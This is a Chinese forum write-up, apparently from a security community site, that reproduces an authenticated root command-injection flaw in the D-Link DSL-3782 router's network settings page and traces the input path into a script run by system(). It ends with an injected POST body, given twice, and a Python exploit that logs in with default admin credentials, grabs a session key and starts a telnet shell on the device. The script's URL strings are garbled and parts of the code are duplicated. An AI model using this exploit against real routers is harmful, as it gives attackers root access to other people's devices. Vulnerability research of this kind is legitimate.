ps:有论坛的朋友说想看一下这个漏洞的复现,因此有了这篇文章。
固件解包:
模拟固件:
通过查看DSL-3782的官方文档可知默认密码为:admin
根据漏洞描述披露的信息:在网络设置页面有一个需要认证的命令执行,并且是root权限。那么直接固件模拟,看一下网络设置页面的信息:
尝试更改一下其中数据,并点击Save,此时burpsuite抓到的数据包内容为:
根据数据包内容可知Save的数据提交到了/cgi-bin/New_GUI/Set/Network.asp,在文件系统中查找该文件并查看其内容:
由文件内容和数据包的内容可知:网页输入的Router IP Address、Subnet Mask的内容会分别被作为lan_ip1、lan_netmask1的值POST到/cgi-bin/New_GUI/Set/Network.asp。在Network.asp中将Lan_Entry0中IP、netmask的值分别设定为lan_ip1、lan_netmask1,即用户传入的Router IP Address、Subnet Mask内容最终会传递到Lan_Entry0的IP、netmask中。此时查找一下含Lan_Entry0的文件:
结合查找到的内容和之前分析CVE-2022-34527的信息可知漏洞点应该是在userfs/bin/cfg_manager中。将该文件拿到IDA中分析并结合关键词IP、netmask定位到关键代码并进行分析,在分析过程中会遇到字符串解析不正确和函数不识别问题,需要手动修复。修复方式:
通过上面代码可知:cfg_manager向/etc/lanconfig.sh文件中写入了可被前端控制的输入信息:IP(Router IP Address)、netmask(Subnet Mask),并将该文件设定为可读可写可执行。通过查看该文件的引用发现最终该文件会被system执行,并且为root权限。
现在我们已经知道了从mxmlFindElement函数获取到Entry0,再使用mxmlElementGetAttr函数获取IP或netmask的值到写入/etc/lanconfig.sh的过程中不存在对输入内容的检查。从mxmlFindElement和mxmlElementGetAttr这两个函数名称可知是从一个xml文件中获取的数据。现在还需要确认从/cgi-bin/New_GUI/Set/Network.asp提交到写入xml文件这一过程中是否存在输入检查。通过分析找到该文件:
现在验证一下自定义的输入能否原封不动的写入到该文件中,使用FirmAE调试模式模拟固件,更改数据包发送后,用其提供的shell辅助查看/tmp/var/romfile.cfg文件中内容:
可以看到此时IP的内容即为更改的数据。顺便查看一下此时/etc/lanconfig.sh文件内容:
到这里整个漏洞分析算是基本完成了,大致的流程是:用户输入的数据被POST到/cgi-bin/New_GUI/Set/Network.asp,通过TCWebApi_Set将数据保存到Lan_Entry中,然后传递到cfg-manager,cfg-manager将其保存到/tmp/var/romfile.cfg文件中,最后通过mxmlElementGetAttr获取数据将其写入文件/etc/lanconfig.sh,最终被system执行。
在查看数据包时发现POST的数据是需要session的,因此选择使用Intercept on拦截数据包修改后发送。修改后POST的数据为:
使用nc连接成功,取得shell。
执行poc后,使用成功取得shell:
命令注入漏洞通常造成的原因相同:没有对前端输入数据检测或者检测不充分。这个命令注入漏洞和之前复现的几个略微不同的地方在于前端输入的数据最后是写到一个脚本文件中,通过给该文件添加执行权限,最终被system函数执行。
lan_ip1=192.168.1.1;utelnetd -p 7080 -l /bin/sh;&lan_netmask1=255.255.255.0&lan2_enable=No&lan_ip2=192.168.2.1&lan_netmask2=255.255.255.0&lan_dhcp_type=1&lan_dhcp_start=192.168.1.3&lan_dhcp_count=252&lan_dhcp_lease=86400&lan_dhcp_option60_vendorID=&lan_dhcp_pridns=&lan_dhcp_secdns=&lan_dhcp_relay_server=&upnp_active=Yes&lan2_active=No&sessionKey=1681692777
lan_ip1=192.168.1.1;utelnetd -p 7080 -l /bin/sh;&lan_netmask1=255.255.255.0&lan2_enable=No&lan_ip2=192.168.2.1&lan_netmask2=255.255.255.0&lan_dhcp_type=1&lan_dhcp_start=192.168.1.3&lan_dhcp_count=252&lan_dhcp_lease=86400&lan_dhcp_option60_vendorID=&lan_dhcp_pridns=&lan_dhcp_secdns=&lan_dhcp_relay_server=&upnp_active=Yes&lan2_active=No&sessionKey=1681692777
import requests
import os
from time import sleep
server = "192.168.1.1"
main_url = "4e1K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5&6x3W2)9J5k6e0p5$3z5q4)9J5k6e0q4Q4x3X3f1I4i4K6y4m8z5o6l9`. "
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36",
}
def login():
s = requests.Session()
s.verify = False
url = main_url + "/cgi-bin/Login.asp?User=admin&Pwd=admin&_=1691919162829"
resp = s.get(url,headers=headers,timeout=100)
print(resp.text)
def get_session_key():
s = requests.Session()
s.verify = False
url = main_url + "/cgi-bin/get/New_GUI/get_sessionKey.asp"
resp = s.get(url,headers=headers,timeout=100)
sessionKey = resp.text
print(sessionKey)
return sessionKey
def poc(sessionKey=None):
s = requests.Session()
s.verify = False
cmd = b";utelnetd -p 8090 -l /bin/sh;"
post_data = b"lan_ip1=192.168.1.1"
post_data += cmd
post_data += b"&lan_netmask1=255.255.255.0&lan2_enable=No"
post_data += b"&lan_ip2=192.168.2.1&lan_netmask2=255.255.255.0"
post_data += b"&lan_dhcp_type=1&lan_dhcp_start=192.168.1.2&lan_dhcp_count=253&lan_dhcp_lease=86400"
post_data += b"&lan_dhcp_option60_vendorID=&lan_dhcp_pridns=&lan_dhcp_secdns=&lan_dhcp_relay_server=&upnp_active=Yes"
post_data += b"&lan2_active=No&sessionKey="
post_data += sessionKey.encode(encoding="utf-8")
url = main_url + "/cgi-bin/New_GUI/Set/Network.asp"
s.post(url,data=post_data,headers=headers,timeout=10000)
print(resp.text)
if __name__ == '__main__':
print("\n[*] Connection ",main_url)
login()
print("[*] Getting session key")
sessionKey = get_session_key()
print("[*] Sending payload")
poc(sessionKey=sessionKey)
print("[*] Running Telnetd Service")
print("[*] Opening Telnet Connection\n")
sleep(3)
os.system('telnet ' + str(server) + ' 8090')
import requests
import os
from time import sleep
server = "192.168.1.1"
main_url = "98cK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5&6x3W2)9J5k6e0p5$3z5q4)9J5k6e0q4Q4x3X3f1I4i4K6y4m8z5o6l9`. "
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36",
}
def login():
s = requests.Session()
s.verify = False
url = main_url + "/cgi-bin/Login.asp?User=admin&Pwd=admin&_=1691919162829"
resp = s.get(url,headers=headers,timeout=100)
print(resp.text)
[培训]Windows内核深度攻防:从Hook技术到Rootkit实战!